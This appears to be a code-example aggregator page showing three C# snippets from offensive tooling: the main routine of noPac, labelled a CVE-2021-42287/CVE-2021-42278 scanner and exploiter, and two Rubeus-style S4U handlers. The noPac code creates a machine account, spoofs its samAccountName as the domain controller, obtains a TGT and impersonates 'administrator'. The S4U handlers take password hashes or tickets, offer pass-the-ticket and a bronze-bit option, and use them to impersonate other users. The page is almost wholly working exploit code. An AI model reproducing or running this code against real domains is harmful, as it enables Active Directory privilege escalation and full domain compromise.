コード例 #1
0
ファイル: Program.cs プロジェクト: yuanqi-che/Kernelhub
        static void Main(string[] args)
        {
            string argDomainUser         = "";
            string argDomainUserPassword = "";

            string argContainer         = "COMPUTERS";
            string argDistinguishedName = "";
            string argDomain            = "";
            string argDomainController  = "";
            string argTargetSPN         = "";
            string argService           = "LDAP";
            string argImpersonate       = "administrator";
            bool   argPTT = false;

            //machine account
            string argMachineAccount  = "";
            string argMachinePassword = "";

            bool argRandom  = false;
            bool argVerbose = true;

            Rubeus.lib.Interop.LUID luid = new Rubeus.lib.Interop.LUID();

            if (args == null || !args.Any())
            {
                Console.WriteLine();
                Console.WriteLine("CVE-2021-42287/CVE-2021-42278 Scanner & Exploiter");
                Console.WriteLine("By @Cube0x0");
                Console.WriteLine();
                Console.WriteLine("/domain /user /pass argument needed for scanning");
                Console.WriteLine("/dc /mAccount /nPassword argument needed for exploitation");
                Console.WriteLine();
                Console.WriteLine("Examples:");
                Console.WriteLine("  noPac.exe scan -domain htb.local -user domain_user -pass 'Password123!'");
                Console.WriteLine("  noPac.exe -dc dc02.htb.local -mAccount demo -mPassword Password123!");
                Console.WriteLine("  noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc02.htb.local /mAccount demo /mPassword Password123!");
                Console.WriteLine("  noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc02.htb.local /mAccount demo123 /mPassword Password123! /service cifs /ptt");
                return;
            }

            foreach (var entry in args.Select((value, index) => new { index, value }))
            {
                string argument = entry.value.ToUpper();

                switch (argument)
                {
                case "-DOMAIN":
                case "/DOMAIN":
                    argDomain = args[entry.index + 1];
                    break;

                case "-USER":
                case "/USER":
                    argDomainUser = args[entry.index + 1];
                    break;

                case "-PASS":
                case "/PASS":
                    argDomainUserPassword = args[entry.index + 1];
                    break;

                case "-DC":
                case "/DC":
                    argDomainController = args[entry.index + 1];
                    break;

                case "-MACCOUNT":
                case "/MACCOUNT":
                    argMachineAccount = args[entry.index + 1];
                    break;

                case "-MPASSWORD":
                case "/MPASSWORD":
                    argMachinePassword = args[entry.index + 1];
                    break;

                case "-SERVICE":
                case "/SERVICE":
                    argService = args[entry.index + 1];
                    break;

                case "-IMPERSONATE":
                case "/IMPERSONATE":
                    argImpersonate = args[entry.index + 1];
                    break;

                case "-PTT":
                case "/PTT":
                    argPTT = true;
                    break;
                }
            }
            NetworkCredential credential = new NetworkCredential(argDomainUser, argDomainUserPassword, argDomain);
            string            machineAccountPasswordHash = Crypto.KerberosPasswordHash(Interop.KERB_ETYPE.rc4_hmac, argMachinePassword);
            string            domainUserPasswordHash     = Crypto.KerberosPasswordHash(Interop.KERB_ETYPE.rc4_hmac, argDomainUserPassword);

            if (args.Length >= 1)
            {
                if (args[0] == "scan")
                {
                    if (string.IsNullOrEmpty(argDomain) || string.IsNullOrEmpty(argDomainUser) || string.IsNullOrEmpty(argDomainUserPassword))
                    {
                        Console.WriteLine("[-] /domain /user /pass argument needed for scanning");
                        return;
                    }
                    scan(argDomain, argDomainUser, argDomainUserPassword, domainUserPasswordHash, argDomainController);
                    return;
                }
                if (string.IsNullOrEmpty(argDomainController) || string.IsNullOrEmpty(argMachineAccount) || string.IsNullOrEmpty(argMachinePassword))
                {
                    Console.WriteLine("[-] /dc /mAccount /mPassword argument needed for exploitation");
                    return;
                }

                argTargetSPN = $"{argService}/{argDomainController}";
                if (String.IsNullOrEmpty(argDomain))
                {
                    argDomain = String.Join(".", argDomainController.Split('.').Skip(1).ToArray());
                }
            }

            //new machine account
            try
            {
                NewMachineAccount(argContainer, argDistinguishedName, argDomain, argDomainController, argMachineAccount, argMachinePassword, argVerbose, argRandom, credential);
            } catch (DirectoryOperationException e)
            {
                //so we can rerun the tool using the same machine account or reuse machine account
                if (!e.Message.Contains("The object exists"))
                {
                    Console.WriteLine("[-] Failed to create machine account");
                    return;
                }
            }

            //clean spn
            SetMachineAccountAttribute(argContainer, argDistinguishedName, argDomain, argDomainController, "serviceprincipalname", argMachineAccount, "", false, true, argVerbose, credential);

            //set samaccountname
            SetMachineAccountAttribute(argContainer, argDistinguishedName, argDomain, argDomainController, "samaccountname", argMachineAccount, argDomainController.Split('.')[0], false, false, argVerbose, credential);

            //ask tgt
            byte[] ticket = Ask.TGT(argDomainController.Split('.')[0], argDomain, machineAccountPasswordHash, Interop.KERB_ETYPE.rc4_hmac, "", false, argDomainController, luid, false, false, "", false, true);
            if (ticket.Length > 0)
            {
                Console.WriteLine("[+] Got TGT for {0}", argDomainController);
                //Console.WriteLine(Convert.ToBase64String(ticket));
            }
            else
            {
                Console.WriteLine("[-] Could not get TGT for {0}", argDomainController);
                return;
            }

            //undo samaccountname change
            SetMachineAccountAttribute(argContainer, argDistinguishedName, argDomain, argDomainController, "samaccountname", argMachineAccount, argMachineAccount, false, false, argVerbose, credential);

            //s4u
            KRB_CRED kirbi = new KRB_CRED(ticket);

            S4U.Execute(kirbi, argImpersonate, "", "", argPTT, argDomainController, argTargetSPN, null, "", "", true, false, false, machineAccountPasswordHash, Interop.KERB_ETYPE.rc4_hmac, argDomain, "");
        }
コード例 #2
0
ファイル: S4u.cs プロジェクト: Kyhvedn/POC-Collect
        public void Execute(Dictionary <string, string> arguments)
        {
            Console.WriteLine("[*] Action: S4U\r\n");

            string targetUser        = "";
            string targetSPN         = "";
            string altSname          = "";
            string user              = "";
            string domain            = "";
            string hash              = "";
            string outfile           = "";
            bool   ptt               = false;
            string dc                = "";
            string targetDomain      = "";
            string targetDC          = "";
            string impersonateDomain = "";
            bool   self              = false;
            bool   opsec             = false;
            bool   bronzebit         = false;
            bool   pac               = true;

            Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; // throwaway placeholder, changed to something valid
            KRB_CRED           tgs     = null;

            if (arguments.ContainsKey("/user"))
            {
                string[] parts = arguments["/user"].Split('\\');
                if (parts.Length == 2)
                {
                    domain = parts[0];
                    user   = parts[1];
                }
                else
                {
                    user = arguments["/user"];
                }
            }
            if (arguments.ContainsKey("/domain"))
            {
                domain = arguments["/domain"];
            }
            if (arguments.ContainsKey("/ptt"))
            {
                ptt = true;
            }
            if (arguments.ContainsKey("/dc"))
            {
                dc = arguments["/dc"];
            }
            if (arguments.ContainsKey("/rc4"))
            {
                hash    = arguments["/rc4"];
                encType = Interop.KERB_ETYPE.rc4_hmac;
            }
            if (arguments.ContainsKey("/aes256"))
            {
                hash    = arguments["/aes256"];
                encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
            }
            if (arguments.ContainsKey("/impersonateuser"))
            {
                if (arguments.ContainsKey("/tgs"))
                {
                    Console.WriteLine("\r\n[X] You must supply either a /impersonateuser or a /tgs, but not both.\r\n");
                    return;
                }
                targetUser = arguments["/impersonateuser"];
            }
            if (arguments.ContainsKey("/impersonatedomain"))
            {
                impersonateDomain = arguments["/impersonatedomain"];
            }
            if (arguments.ContainsKey("/targetdomain"))
            {
                targetDomain = arguments["/targetdomain"];
            }
            if (arguments.ContainsKey("/targetdc"))
            {
                targetDC = arguments["/targetdc"];
            }
            if (arguments.ContainsKey("/outfile"))
            {
                outfile = arguments["/outfile"];
            }

            if (arguments.ContainsKey("/msdsspn"))
            {
                targetSPN = arguments["/msdsspn"];
            }

            if (arguments.ContainsKey("/altservice"))
            {
                altSname = arguments["/altservice"];
            }

            if (arguments.ContainsKey("/self"))
            {
                self = true;
            }

            if (arguments.ContainsKey("/opsec"))
            {
                opsec = true;
            }

            if (arguments.ContainsKey("/bronzebit"))
            {
                bronzebit = true;
            }
            if (arguments.ContainsKey("/nopac"))
            {
                pac = false;
            }

            if (arguments.ContainsKey("/tgs"))
            {
                string kirbi64 = arguments["/tgs"];

                if (Helpers.IsBase64String(kirbi64))
                {
                    byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
                    tgs = new KRB_CRED(kirbiBytes);
                }
                else if (File.Exists(kirbi64))
                {
                    byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
                    tgs = new KRB_CRED(kirbiBytes);
                }
                else
                {
                    Console.WriteLine("\r\n[X] /tgs:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
                    return;
                }

                targetUser = tgs.enc_part.ticket_info[0].pname.name_string[0];
            }

            if (String.IsNullOrEmpty(domain))
            {
                domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
            }
            if (String.IsNullOrEmpty(targetUser) && tgs == null)
            {
                Console.WriteLine("\r\n[X] You must supply a /tgs to impersonate!\r\n");
                Console.WriteLine("[X] Alternatively, supply a /impersonateuser to perform S4U2Self first.\r\n");
                return;
            }
            if (String.IsNullOrEmpty(targetSPN) && tgs != null)
            {
                Console.WriteLine("\r\n[X] If a /tgs is supplied, you must also supply a /msdsspn !\r\n");
                return;
            }

            if (arguments.ContainsKey("/ticket"))
            {
                string kirbi64 = arguments["/ticket"];

                if (Helpers.IsBase64String(kirbi64))
                {
                    byte[]   kirbiBytes = Convert.FromBase64String(kirbi64);
                    KRB_CRED kirbi      = new KRB_CRED(kirbiBytes);
                    S4U.Execute(kirbi, targetUser, targetSPN, outfile, ptt, dc, altSname, tgs, targetDC, targetDomain, self, opsec, bronzebit, hash, encType, domain, impersonateDomain);
                }
                else if (File.Exists(kirbi64))
                {
                    byte[]   kirbiBytes = File.ReadAllBytes(kirbi64);
                    KRB_CRED kirbi      = new KRB_CRED(kirbiBytes);
                    S4U.Execute(kirbi, targetUser, targetSPN, outfile, ptt, dc, altSname, tgs, targetDC, targetDomain, self, opsec, bronzebit, hash, encType, domain, impersonateDomain);
                }
                else
                {
                    Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
                }
                return;
            }
            else if (arguments.ContainsKey("/user"))
            {
                // if the user is supplying a user and rc4/aes256 hash to first execute a TGT request

                user = arguments["/user"];

                if (String.IsNullOrEmpty(hash))
                {
                    Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n");
                    return;
                }

                S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, outfile, ptt, dc, altSname, tgs, targetDC, targetDomain, self, opsec, bronzebit, pac);
                return;
            }
            else
            {
                Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied for S4U!\r\n");
                Console.WriteLine("[X] Alternatively, supply a /user and </rc4:X | /aes256:X> hash to first retrieve a TGT.\r\n");
                return;
            }
        }
コード例 #3
0
        public void Execute(Dictionary <string, string> arguments)
        {
            string targetUser = "";
            string targetSPN  = "";
            string altSname   = "";
            string user       = "";
            string domain     = "";
            string hash       = "";
            bool   ptt        = false;
            string dc         = "";

            Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; // throwaway placeholder, changed to something valid

            if (arguments.ContainsKey("/user"))
            {
                string[] parts = arguments["/user"].Split('\\');
                if (parts.Length == 2)
                {
                    domain = parts[0];
                    user   = parts[1];
                }
                else
                {
                    user = arguments["/user"];
                }
            }
            if (arguments.ContainsKey("/domain"))
            {
                domain = arguments["/domain"];
            }
            if (arguments.ContainsKey("/ptt"))
            {
                ptt = true;
            }
            if (arguments.ContainsKey("/dc"))
            {
                dc = arguments["/dc"];
            }
            if (arguments.ContainsKey("/rc4"))
            {
                hash    = arguments["/rc4"];
                encType = Interop.KERB_ETYPE.rc4_hmac;
            }
            if (arguments.ContainsKey("/aes256"))
            {
                hash    = arguments["/aes256"];
                encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
            }
            if (arguments.ContainsKey("/impersonateuser"))
            {
                targetUser = arguments["/impersonateuser"];
            }

            if (arguments.ContainsKey("/msdsspn"))
            {
                targetSPN = arguments["/msdsspn"];
            }

            if (arguments.ContainsKey("/altservice"))
            {
                altSname = arguments["/altservice"];
            }

            if (String.IsNullOrEmpty(domain))
            {
                domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
            }
            if (String.IsNullOrEmpty(targetUser))
            {
                Console.WriteLine("\r\n[X] You must supply a /impersonateuser to impersonate!\r\n");
                return;
            }
            if (String.IsNullOrEmpty(targetSPN))
            {
                Console.WriteLine("\r\n[X] You must supply a /msdsspn !\r\n");
                return;
            }

            if (arguments.ContainsKey("/ticket"))
            {
                string kirbi64 = arguments["/ticket"];

                if (Helpers.IsBase64String(kirbi64))
                {
                    byte[]   kirbiBytes = Convert.FromBase64String(kirbi64);
                    KRB_CRED kirbi      = new KRB_CRED(kirbiBytes);
                    S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname);
                }
                else if (File.Exists(kirbi64))
                {
                    byte[]   kirbiBytes = File.ReadAllBytes(kirbi64);
                    KRB_CRED kirbi      = new KRB_CRED(kirbiBytes);
                    S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname);
                }
                else
                {
                    Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
                }
                return;
            }
            else if (arguments.ContainsKey("/user"))
            {
                // if the user is supplying a user and rc4/aes256 hash to first execute a TGT request

                user = arguments["/user"];

                if (String.IsNullOrEmpty(hash))
                {
                    Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n");
                    return;
                }

                S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, ptt, dc, altSname);
                return;
            }
            else
            {
                Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied for S4U!\r\n");
                Console.WriteLine("[X] Alternatively, supply a /user and </rc4:X | /aes256:X> hash to first retrieve a TGT.\r\n");
                return;
            }
        }